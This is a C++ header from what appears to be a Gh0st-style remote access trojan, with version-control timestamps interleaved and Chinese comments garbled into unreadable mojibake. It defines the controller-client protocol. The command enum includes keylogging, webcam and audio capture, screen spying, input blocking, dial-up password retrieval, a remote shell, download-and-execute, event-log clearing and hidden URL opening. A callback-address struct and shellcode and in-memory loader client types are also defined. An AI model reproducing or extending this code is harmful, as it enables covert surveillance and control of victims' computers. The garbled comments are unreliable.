2024-12-27 19:18:44 +08:00
# pragma once
2025-04-06 19:35:20 +08:00
# include <vector>
# include <string>
# include <iosfwd>
# include <iostream>
# include <sstream>
# include <string.h>
# include <map>
# include <numeric>
# include <ctime>
# include <chrono>
# ifdef _WIN32
# include <concrt.h>
# include <corecrt_io.h>
# define MVirtualFree(a1, a2, a3) VirtualFree(a1, a2, a3)
# define MVirtualAlloc(a1, a2, a3, a4) VirtualAlloc(a1, a2, a3, a4)
# else // ʹ <> ø<EFBFBD> ͷ<EFBFBD> ļ<EFBFBD> <C4BC> <EFBFBD> LINUX <20> <> <EFBFBD> <EFBFBD> ʹ <EFBFBD> <CAB9>
# include <thread>
# define strcat_s strcat
# define sprintf_s sprintf
# define strcpy_s strcpy
# define __stdcall
# define WINAPI
# define TRUE 1
# define FALSE 0
# define skCrypt(p)
# define Mprintf printf
# define ASSERT(p)
# define AUTO_TICK_C(p)
# define AUTO_TICK(p)
# define OutputDebugStringA(p) printf(p)
# include <unistd.h>
# define Sleep(n) ((n) >= 1000 ? sleep((n) / 1000) : usleep((n) * 1000))
typedef int64_t __int64 ;
typedef uint32_t DWORD ;
typedef int BOOL , SOCKET ;
typedef unsigned int ULONG ;
typedef unsigned int UINT ;
typedef void VOID ;
typedef unsigned char BYTE ;
typedef BYTE * PBYTE , * LPBYTE ;
typedef void * LPVOID , * HANDLE ;
# define GET_PROCESS(a1, a2)
# define MVirtualFree(a1, a2, a3) delete[]a1
# define MVirtualAlloc(a1, a2, a3, a4) new BYTE[a2]
# define CopyMemory memcpy
# define MoveMemory memmove
# define INVALID_SOCKET -1
# define SOCKET_ERROR -1
# define closesocket close
# define CloseHandle(p)
# define CancelIo(p) close(reinterpret_cast<intptr_t>(p))
# endif
2025-01-12 06:00:02 +08:00
# include <string>
2025-01-01 04:54:27 +08:00
# include <vector>
2025-03-13 23:34:33 +08:00
# include <time.h>
2024-12-28 04:34:54 +08:00
2024-12-27 19:18:44 +08:00
# ifndef _MAX_PATH
# define _MAX_PATH 260
# endif
2024-12-29 01:09:06 +08:00
// <20> <> <EFBFBD> <EFBFBD> 2<EFBFBD> <32> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ȫ<EFBFBD> <C8AB> Ψһ <CEA8> <D2BB> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ɷ<EFBFBD> <C9B7> <EFBFBD> ʱ<EFBFBD> <CAB1> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
2025-04-07 18:18:36 +08:00
# define FLAG_FINDEN "Hello, World!"
2024-12-27 19:18:44 +08:00
2025-04-07 18:18:36 +08:00
# define FLAG_GHOST FLAG_FINDEN
2024-12-28 18:35:34 +08:00
2024-12-28 04:34:54 +08:00
// <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> Է<EFBFBD> <D4B7> <EFBFBD> <EFBFBD> 仯ʱ<E4BBAF> <CAB1> Ӧ<EFBFBD> ø<EFBFBD> <C3B8> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ֵ<EFBFBD> <D6B5> <EFBFBD> Ա<EFBFBD> <D4B1> Ա<EFBFBD> <D4B1> س<EFBFBD> <D8B3> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
2025-02-07 18:59:15 +08:00
# define DLL_VERSION __DATE__ // DLL<4C> 汾
2024-12-28 04:34:54 +08:00
2025-01-01 18:36:44 +08:00
# define TALK_DLG_MAXLEN 1024 // <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ַ<EFBFBD> <D6B7> <EFBFBD> <EFBFBD> <EFBFBD>
2024-12-27 19:18:44 +08:00
// <20> <> <EFBFBD> <EFBFBD> ö<EFBFBD> <C3B6> <EFBFBD> б <EFBFBD>
enum
{
// <20> ļ<EFBFBD> <C4BC> <EFBFBD> <EFBFBD> ䷽ʽ
TRANSFER_MODE_NORMAL = 0x00 , // һ <> <D2BB> ,<2C> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ػ<EFBFBD> <D8BB> <EFBFBD> Զ<EFBFBD> <D4B6> <EFBFBD> Ѿ<EFBFBD> <D1BE> У <EFBFBD> ȡ<EFBFBD> <C8A1>
TRANSFER_MODE_ADDITION , // <> <D7B7>
TRANSFER_MODE_ADDITION_ALL , // ȫ<> <C8AB> <EFBFBD> <D7B7>
TRANSFER_MODE_OVERWRITE , // <20> <> <EFBFBD> <EFBFBD>
TRANSFER_MODE_OVERWRITE_ALL , // ȫ<> <C8AB> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
TRANSFER_MODE_JUMP , // <20> <> <EFBFBD> <EFBFBD>
TRANSFER_MODE_JUMP_ALL , // ȫ<> <C8AB> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
TRANSFER_MODE_CANCEL , // ȡ<> <C8A1> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
// <20> <> <EFBFBD> ƶ˷<C6B6> <CBB7> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
COMMAND_ACTIVED = 0x00 , // <20> <> <EFBFBD> <EFBFBD> <EFBFBD> ˿<EFBFBD> <CBBF> Լ<EFBFBD> <D4BC> ʼ <EEBFAA> <CABC> <EFBFBD> <EFBFBD>
COMMAND_LIST_DRIVE , // <20> г <EFBFBD> <D0B3> <EFBFBD> <EFBFBD> <EFBFBD> Ŀ¼
COMMAND_LIST_FILES , // <20> г <EFBFBD> Ŀ¼<C4BF> е <EFBFBD> <D0B5> ļ<EFBFBD>
COMMAND_DOWN_FILES , // <20> <> <EFBFBD> <EFBFBD> <EFBFBD> ļ<EFBFBD>
COMMAND_FILE_SIZE , // <20> ϴ<EFBFBD> ʱ<EFBFBD> <CAB1> <EFBFBD> ļ<EFBFBD> <C4BC> <EFBFBD> С
COMMAND_FILE_DATA , // <20> ϴ<EFBFBD> ʱ<EFBFBD> <CAB1> <EFBFBD> ļ<EFBFBD> <C4BC> <EFBFBD> <EFBFBD> <EFBFBD>
COMMAND_EXCEPTION , // <20> <> <EFBFBD> ䷢<EFBFBD> <E4B7A2> <EFBFBD> 쳣<EFBFBD> <ECB3A3> <EFBFBD> <EFBFBD> Ҫ<EFBFBD> <D2AA> <EFBFBD> ´ <EFBFBD> <C2B4> <EFBFBD>
COMMAND_CONTINUE , // <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
COMMAND_STOP , // <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ֹ
COMMAND_DELETE_FILE , // ɾ<> <C9BE> <EFBFBD> ļ<EFBFBD>
COMMAND_DELETE_DIRECTORY , // ɾ<> <C9BE> Ŀ¼
COMMAND_SET_TRANSFER_MODE , // <20> <> <EFBFBD> ô<EFBFBD> <C3B4> ䷽ʽ
COMMAND_CREATE_FOLDER , // <20> <> <EFBFBD> <EFBFBD> <EFBFBD> ļ<EFBFBD> <C4BC> <EFBFBD>
COMMAND_RENAME_FILE , // <20> ļ<EFBFBD> <C4BC> <EFBFBD> <EFBFBD> ļ<EFBFBD> <C4BC> <EFBFBD> <EFBFBD> <EFBFBD>
COMMAND_OPEN_FILE_SHOW , // <20> <> ʾ <EFBFBD> <CABE> <EFBFBD> <EFBFBD> <EFBFBD> ļ<EFBFBD>
COMMAND_OPEN_FILE_HIDE , // <20> <> <EFBFBD> ش<EFBFBD> <D8B4> <EFBFBD> <EFBFBD> ļ<EFBFBD>
COMMAND_SCREEN_SPY , // <20> <> Ļ<EFBFBD> 鿴
COMMAND_SCREEN_RESET , // <20> ı <EFBFBD> <C4B1> <EFBFBD> Ļ<EFBFBD> <C4BB> <EFBFBD> <EFBFBD>
COMMAND_ALGORITHM_RESET , // <20> ı <EFBFBD> <C4B1> 㷨
COMMAND_SCREEN_CTRL_ALT_DEL , // <20> <> <EFBFBD> <EFBFBD> Ctrl+Alt+Del
COMMAND_SCREEN_CONTROL , // <20> <> Ļ<EFBFBD> <C4BB> <EFBFBD> <EFBFBD>
COMMAND_SCREEN_BLOCK_INPUT , // <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ˼<EFBFBD> <CBBC> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
COMMAND_SCREEN_BLANK , // <20> <> <EFBFBD> <EFBFBD> <EFBFBD> ˺<EFBFBD> <CBBA> <EFBFBD>
COMMAND_SCREEN_CAPTURE_LAYER , // <20> <> <EFBFBD> <D7BD>
COMMAND_SCREEN_GET_CLIPBOARD , // <20> <> ȡԶ<C8A1> ̼<EFBFBD> <CCBC> <EFBFBD> <EFBFBD> <EFBFBD>
COMMAND_SCREEN_SET_CLIPBOARD , // <20> <> <EFBFBD> <EFBFBD> Զ<EFBFBD> ̼<EFBFBD> <CCBC> <EFBFBD> <EFBFBD> <EFBFBD>
COMMAND_WEBCAM , // <20> <> <EFBFBD> <EFBFBD> ͷ
COMMAND_WEBCAM_ENABLECOMPRESS , // <20> <> <EFBFBD> <EFBFBD> ͷ<EFBFBD> <CDB7> <EFBFBD> <EFBFBD> Ҫ<EFBFBD> <EFBFBD> H263ѹ<33> <D1B9>
COMMAND_WEBCAM_DISABLECOMPRESS , // <20> <> <EFBFBD> <EFBFBD> ͷ<EFBFBD> <CDB7> <EFBFBD> <EFBFBD> Ҫ<EFBFBD> <D2AA> ԭʼ <D4AD> <CABC> <EFBFBD> <EFBFBD> ģʽ
COMMAND_WEBCAM_RESIZE , // <20> <> <EFBFBD> <EFBFBD> ͷ<EFBFBD> <CDB7> <EFBFBD> <EFBFBD> <EFBFBD> ֱ<EFBFBD> <D6B1> ʣ<EFBFBD> <CAA3> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> INT<4E> ͵Ŀ<CDB5> <C4BF> <EFBFBD>
COMMAND_NEXT , // <20> <> һ <EFBFBD> <D2BB> (<28> <> <EFBFBD> ƶ<EFBFBD> <C6B6> Ѿ<EFBFBD> <D1BE> Ի<F2BFAAB6> <D4BB> <EFBFBD> )
COMMAND_KEYBOARD , // <20> <> <EFBFBD> ̼<EFBFBD> ¼
COMMAND_KEYBOARD_OFFLINE , // <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <DFBC> ̼<EFBFBD> ¼
COMMAND_KEYBOARD_CLEAR , // <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ̼<EFBFBD> ¼<EFBFBD> <C2BC> <EFBFBD> <EFBFBD>
COMMAND_AUDIO , // <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
COMMAND_SYSTEM , // ϵͳ<CFB5> <CDB3> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ̣<EFBFBD> <CCA3> <EFBFBD> <EFBFBD> <EFBFBD> ....<2E> <>
COMMAND_PSLIST , // <20> <> <EFBFBD> <EFBFBD> <EFBFBD> б <EFBFBD>
COMMAND_WSLIST , // <20> <> <EFBFBD> <EFBFBD> <EFBFBD> б <EFBFBD>
COMMAND_DIALUPASS , // <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
COMMAND_KILLPROCESS , // <20> رս <D8B1> <D5BD> <EFBFBD>
COMMAND_SHELL , // cmdshell
COMMAND_SESSION , // <20> Ự<EFBFBD> <E1BBB0> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ػ<EFBFBD> <D8BB> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ע<EFBFBD> <D7A2> , ж<> أ<EFBFBD>
COMMAND_REMOVE , // ж<> غ<EFBFBD> <D8BA> <EFBFBD>
COMMAND_DOWN_EXEC , // <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> - <20> <> <EFBFBD> <EFBFBD> ִ<EFBFBD> <D6B4>
COMMAND_UPDATE_SERVER , // <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> - <20> <> <EFBFBD> ظ<EFBFBD> <D8B8> <EFBFBD>
COMMAND_CLEAN_EVENT , // <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> - <20> <> <EFBFBD> <EFBFBD> ϵͳ<CFB5> <CDB3> ־
COMMAND_OPEN_URL_HIDE , // <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> - <20> <> <EFBFBD> ش<EFBFBD> <D8B4> <EFBFBD> <EFBFBD> <EFBFBD> ҳ
COMMAND_OPEN_URL_SHOW , // <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> - <20> <> ʾ <EFBFBD> <CABE> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ҳ
COMMAND_RENAME_REMARK , // <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ע
COMMAND_REPLAY_HEARTBEAT , // <20> ظ<EFBFBD> <D8B8> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
COMMAND_SERVICES , // <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
COMMAND_REGEDIT ,
COMMAND_TALK , // <20> <> ʱ<EFBFBD> <CAB1> Ϣ<EFBFBD> <CFA2> ֤
2024-12-28 18:35:34 +08:00
COMMAND_UPDATE = 53 , // <20> ͻ<EFBFBD> <CDBB> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
2024-12-27 19:18:44 +08:00
// <20> <> <EFBFBD> <EFBFBD> <EFBFBD> ˷<EFBFBD> <CBB7> <EFBFBD> <EFBFBD> ı <EFBFBD> ʶ
TOKEN_AUTH = 100 , // Ҫ<> <D2AA> <EFBFBD> <EFBFBD> ֤
TOKEN_HEARTBEAT , // <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
TOKEN_LOGIN , // <20> <> <EFBFBD> ߰<EFBFBD>
TOKEN_DRIVE_LIST , // <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> б <EFBFBD>
TOKEN_FILE_LIST , // <20> ļ<EFBFBD> <C4BC> б <EFBFBD>
TOKEN_FILE_SIZE , // <20> ļ<EFBFBD> <C4BC> <EFBFBD> С <EFBFBD> <D0A1> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ļ<EFBFBD> ʱ<EFBFBD> <CAB1>
TOKEN_FILE_DATA , // <20> ļ<EFBFBD> <C4BC> <EFBFBD> <EFBFBD> <EFBFBD>
TOKEN_TRANSFER_FINISH , // <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
TOKEN_DELETE_FINISH , // ɾ<> <C9BE> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
TOKEN_GET_TRANSFER_MODE , // <20> õ<EFBFBD> <C3B5> ļ<EFBFBD> <C4BC> <EFBFBD> <EFBFBD> ䷽ʽ
TOKEN_GET_FILEDATA , // Զ<> ̵õ<CCB5> <C3B5> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ļ<EFBFBD> <C4BC> <EFBFBD> <EFBFBD> <EFBFBD>
TOKEN_CREATEFOLDER_FINISH , // <20> <> <EFBFBD> <EFBFBD> <EFBFBD> ļ<EFBFBD> <C4BC> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
TOKEN_DATA_CONTINUE , // <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
TOKEN_RENAME_FINISH , // <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
TOKEN_EXCEPTION , // <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> 쳣
TOKEN_BITMAPINFO , // <20> <> Ļ<EFBFBD> 鿴<EFBFBD> <E9BFB4> BITMAPINFO
TOKEN_FIRSTSCREEN , // <20> <> Ļ<EFBFBD> 鿴<EFBFBD> ĵ<EFBFBD> һ <EFBFBD> <D2BB> ͼ
TOKEN_NEXTSCREEN , // <20> <> Ļ<EFBFBD> 鿴<EFBFBD> <E9BFB4> <EFBFBD> <EFBFBD> һ <EFBFBD> <D2BB> ͼ
TOKEN_CLIPBOARD_TEXT , // <20> <> Ļ<EFBFBD> 鿴ʱ<E9BFB4> <CAB1> <EFBFBD> ͼ<EFBFBD> <CDBC> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
TOKEN_WEBCAM_BITMAPINFO , // <20> <> <EFBFBD> <EFBFBD> ͷ<EFBFBD> <CDB7> BITMAPINFOHEADER
TOKEN_WEBCAM_DIB , // <20> <> <EFBFBD> <EFBFBD> ͷ<EFBFBD> <CDB7> ͼ<EFBFBD> <CDBC> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
TOKEN_AUDIO_START , // <20> <> ʼ <EFBFBD> <CABC> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
TOKEN_AUDIO_DATA , // <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
TOKEN_KEYBOARD_START , // <20> <> <EFBFBD> ̼<EFBFBD> ¼<EFBFBD> <C2BC> ʼ
TOKEN_KEYBOARD_DATA , // <20> <> <EFBFBD> ̼<EFBFBD> ¼<EFBFBD> <C2BC> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
TOKEN_PSLIST , // <20> <> <EFBFBD> <EFBFBD> <EFBFBD> б <EFBFBD>
TOKEN_WSLIST , // <20> <> <EFBFBD> <EFBFBD> <EFBFBD> б <EFBFBD>
TOKEN_DIALUPASS , // <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
TOKEN_SHELL_START , // Զ<> <D4B6> <EFBFBD> ն˿<D5B6> ʼ
TOKEN_SERVERLIST , // <20> <> <EFBFBD> <EFBFBD> <EFBFBD> б <EFBFBD>
COMMAND_SERVICELIST , // ˢ<> ·<EFBFBD> <C2B7> <EFBFBD> <EFBFBD> б <EFBFBD>
COMMAND_SERVICECONFIG , // <20> <> <EFBFBD> <EFBFBD> <EFBFBD> ˷<EFBFBD> <CBB7> <EFBFBD> <EFBFBD> ı <EFBFBD> ʶ
TOKEN_TALK_START , // <20> <> ʱ<EFBFBD> <CAB1> Ϣ<EFBFBD> <CFA2> ʼ
TOKEN_TALKCMPLT , // <20> <> ʱ<EFBFBD> <CAB1> Ϣ<EFBFBD> <CFA2> <EFBFBD> ط<EFBFBD>
2025-04-03 03:48:48 +08:00
TOKEN_KEYFRAME = 134 , // <20> ؼ<EFBFBD> ֡
2024-12-27 19:18:44 +08:00
TOKEN_REGEDIT = 200 , // ע<> <D7A2> <EFBFBD> <EFBFBD>
COMMAND_REG_FIND , // ע<> <D7A2> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ʶ
TOKEN_REG_KEY ,
TOKEN_REG_PATH ,
COMMAND_BYE , // <20> <> <EFBFBD> ض<EFBFBD> <D8B6> ˳<EFBFBD>
2025-04-03 03:48:48 +08:00
SERVER_EXIT = 205 , // <20> <> <EFBFBD> ض<EFBFBD> <D8B6> ˳<EFBFBD>
SOCKET_DLLLOADER = 210 , // <20> ͻ<EFBFBD> <CDBB> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> DLL
CMD_DLLDATA , // <20> <> ӦDLL<4C> <4C> <EFBFBD> <EFBFBD>
2025-04-07 18:18:36 +08:00
CMD_MASTERSETTING = 215 , // <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
CMD_HEARTBEAT_ACK = 216 , // <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> Ӧ
2024-12-27 19:18:44 +08:00
} ;
2025-04-07 18:18:36 +08:00
enum
{
CLIENT_TYPE_DLL = 0 , // <20> ͻ<EFBFBD> <CDBB> ˴ <EFBFBD> <CBB4> <EFBFBD> <EFBFBD> <EFBFBD> DLL<4C> <4C> <EFBFBD> <EFBFBD>
CLIENT_TYPE_ONE = 1 , // <20> ͻ<EFBFBD> <CDBB> ˴ <EFBFBD> <CBB4> <EFBFBD> <EFBFBD> Ե<EFBFBD> <D4B5> <EFBFBD> EXE<58> <45> <EFBFBD> <EFBFBD>
CLIENT_TYPE_MEMEXE = - 1 , // <20> ڴ<EFBFBD> EXE<58> <45> <EFBFBD> <EFBFBD>
CLIENT_TYPE_MODULE = 2 , // DLL<4C> <4C> <EFBFBD> <EFBFBD> <EFBFBD> ⲿ<EFBFBD> <E2B2BF> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
CLIENT_TYPE_SHELLCODE = 4 , // Shellcode
CLIENT_TYPE_MEMDLL = 5 , // <20> ڴ<EFBFBD> DLL<4C> <4C> <EFBFBD> <EFBFBD>
CLIENT_TYPE_LINUX = 6 , // LINUX <20> ͻ<EFBFBD> <CDBB> <EFBFBD>
} ;
inline const char * GetClientType ( int typ ) {
switch ( typ )
{
case CLIENT_TYPE_DLL :
return " DLL " ;
case CLIENT_TYPE_ONE :
return " EXE " ;
case CLIENT_TYPE_MEMEXE :
return " MEXE " ;
case CLIENT_TYPE_MODULE :
return " DLL " ;
case CLIENT_TYPE_SHELLCODE :
return " SC " ;
case CLIENT_TYPE_MEMDLL :
return " MDLL " ;
case CLIENT_TYPE_LINUX :
return " LNX " ;
default :
return " DLL " ;
}
}
2024-12-29 01:09:06 +08:00
2024-12-27 19:18:44 +08:00
// <20> <> <EFBFBD> <EFBFBD> <EFBFBD> ӵ<EFBFBD> <D3B5> <EFBFBD> <EFBFBD> س<EFBFBD> <D8B3> <EFBFBD> <EFBFBD> <EFBFBD> Ϣ
typedef struct CONNECT_ADDRESS
{
2024-12-29 01:09:06 +08:00
public :
2025-04-07 18:18:36 +08:00
char szFlag [ 32 ] ;
char szServerIP [ 100 ] ;
char szPort [ 8 ] ;
2024-12-29 01:09:06 +08:00
int iType ;
2025-04-07 18:18:36 +08:00
bool bEncrypt ;
char szBuildDate [ 12 ] ;
int iMultiOpen ;
char szReserved [ 134 ] ; // ռ λ<D5BC> <CEBB> ʹ <EFBFBD> ṹ<EFBFBD> <E1B9B9> ռ <EFBFBD> <D5BC> 300<30> ֽ<EFBFBD>
2024-12-29 01:09:06 +08:00
public :
void SetType ( int typ ) {
iType = typ ;
}
2025-04-07 18:18:36 +08:00
const void * Flag ( ) const {
return szFlag ;
}
int FlagLen ( ) const {
return strlen ( szFlag ) ;
2024-12-29 01:09:06 +08:00
}
2024-12-28 18:35:34 +08:00
const char * ServerIP ( ) const {
return szServerIP ;
}
int ServerPort ( ) const {
2025-04-07 18:18:36 +08:00
return atoi ( szPort ) ;
2024-12-28 18:35:34 +08:00
}
2024-12-29 01:09:06 +08:00
int ClientType ( ) const {
return iType ;
}
2024-12-28 18:35:34 +08:00
void SetServer ( const char * ip , int port ) {
strcpy_s ( szServerIP , ip ) ;
2025-04-07 18:18:36 +08:00
sprintf_s ( szPort , " %d " , port ) ;
2024-12-28 18:35:34 +08:00
}
2024-12-29 01:09:06 +08:00
bool IsValid ( ) const {
2025-04-07 18:18:36 +08:00
return strlen ( szServerIP ) ! = 0 & & atoi ( szPort ) > 0 ;
}
int Size ( ) const {
return sizeof ( CONNECT_ADDRESS ) ;
2024-12-29 01:09:06 +08:00
}
2024-12-27 19:18:44 +08:00
} CONNECT_ADDRESS ;
2024-12-28 04:34:54 +08:00
// <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ߺ <EFBFBD> <DFBA> <EFBFBD> <EFBFBD> ͵ļ<CDB5> <C4BC> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> Ϣ
// <20> ˽ṹ<CBBD> <E1B9B9> һ <EFBFBD> <D2BB> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> 仯<EFBFBD> <E4BBAF> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> С <EFBFBD> <D0A1> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ǰ<EFBFBD> 汾<EFBFBD> Ŀͻ<C4BF> <CDBB> <EFBFBD> <EFBFBD> <EFBFBD> <DEB7> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> °<EFBFBD> <C2B0> <EFBFBD> <EFBFBD> <EFBFBD> .
// <20> °<EFBFBD> <C2B0> ͻ<EFBFBD> <CDBB> <EFBFBD> Ҳ<EFBFBD> <EFBFBD> <DEB7> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ϰ汾<CFB0> <E6B1BE> <EFBFBD> <EFBFBD> <EFBFBD> س<EFBFBD> <D8B3> <EFBFBD> .
// Ϊ<> ˣ<EFBFBD> <CBA3> <EFBFBD> 20241228<32> ύ<EFBFBD> <E1BDBB> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> Ϊ<EFBFBD> <CEAA> <EFBFBD> <EFBFBD> <EFBFBD> ṹ<EFBFBD> <E1B9B9> Ԥ<EFBFBD> <D4A4> <EFBFBD> ֶΣ<D6B6> <CEA3> Ա<EFBFBD> δ<EFBFBD> <CEB4> ֮<EFBFBD> <D6AE> ʱ֮<CAB1> <D6AE>
// <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> Ĵ˽ṹ<CBBD> 壬<EFBFBD> <E5A3AC> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ټ<EFBFBD> <D9BC> <EFBFBD> <EFBFBD> <EFBFBD> ǰ<EFBFBD> ij<EFBFBD> <C4B3> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ߵ <EFBFBD> <DFB5> <EFBFBD> <EFBFBD> <EFBFBD> д<EFBFBD> <D0B4> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
typedef struct LOGIN_INFOR
{
unsigned char bToken ; // 1.<2E> <> ½<EFBFBD> <C2BD> Ϣ
char OsVerInfoEx [ 156 ] ; // 2.<2E> 汾<EFBFBD> <E6B1BE> Ϣ
2025-04-06 19:35:20 +08:00
unsigned int dwCPUMHz ; // 3.CPU<50> <55> Ƶ
2024-12-28 04:34:54 +08:00
char moduleVersion [ 24 ] ; // 4.DLLģ<4C> <C4A3> <EFBFBD> 汾
char szPCName [ _MAX_PATH ] ; // 5.<2E> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
int bWebCamIsExist ; // 6.<2E> Ƿ<EFBFBD> <C7B7> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ͷ
2025-04-06 19:35:20 +08:00
unsigned int dwSpeed ; // 7.<2E> <> <EFBFBD> <EFBFBD>
2024-12-28 04:34:54 +08:00
char szStartTime [ 20 ] ; // 8.<2E> <> <EFBFBD> <EFBFBD> ʱ<EFBFBD> <CAB1>
char szReserved [ 512 ] ; // 9.<2E> <> <EFBFBD> <EFBFBD> <EFBFBD> ֶ<EFBFBD>
LOGIN_INFOR ( ) {
memset ( this , 0 , sizeof ( LOGIN_INFOR ) ) ;
2025-04-06 19:35:20 +08:00
bToken = TOKEN_LOGIN ;
2024-12-28 04:34:54 +08:00
strcpy_s ( moduleVersion , DLL_VERSION ) ;
}
2025-04-06 19:35:20 +08:00
LOGIN_INFOR & Speed ( unsigned long speed ) {
dwSpeed = speed ;
return * this ;
}
2024-12-28 04:34:54 +08:00
} LOGIN_INFOR ;
2025-01-01 04:54:27 +08:00
2025-04-07 18:18:36 +08:00
// <20> ̶<EFBFBD> 1024<32> ֽ<EFBFBD>
typedef struct Heartbeat
{
uint64_t Time ;
char ActiveWnd [ 512 ] ;
int Ping ;
